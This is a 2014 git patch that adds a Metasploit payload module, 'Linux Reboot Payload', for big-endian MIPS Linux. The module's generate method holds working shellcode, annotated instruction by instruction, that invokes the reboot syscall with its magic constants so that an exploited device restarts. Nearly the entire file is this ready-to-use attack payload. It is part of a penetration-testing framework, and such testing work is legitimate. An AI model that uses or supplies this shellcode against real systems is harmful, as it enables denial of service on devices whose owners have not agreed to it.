From 4f1404eecc777aa1cc718ee087c1f6504375f938 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Thu, 20 Mar 2014 12:37:58 +0100 Subject: [PATCH] reboot payload for mipsbe --- .../payloads/singles/linux/mipsbe/reboot.rb | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 modules/payloads/singles/linux/mipsbe/reboot.rb diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb new file mode 100644 index 0000000000..7564378151 --- /dev/null +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -0,0 +1,52 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Reboot Payload', + 'Description' => %q{ + A very small shellcode for rebooting the system. + This module is sometimes helpful for testing purposes. + }, + 'Author' => + [ + 'Michael Messner ', #metasploit payload + 'rigan - ' #original payload + ], + 'References' => ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'Offsets' => {} , + 'Payload' => '' + }) + ) + end + + def generate + + shellcode = + "\x3c\x06\x43\x21" + #lui a2,0x4321 + "\x34\xc6\xfe\xdc" + #ori a2,a2,0xfedc + "\x3c\x05\x28\x12" + #lui a1,0x2812 + "\x34\xa5\x19\x69" + #ori a1,a1,0x1969 + "\x3c\x04\xfe\xe1" + #lui a0,0xfee1 + "\x34\x84\xde\xad" + #ori a0,a0,0xdead + "\x24\x02\x0f\xf8" + #li v0,4088 + "\x01\x01\x01\x0c" #syscall 0x40404 + + return super + shellcode + end + +end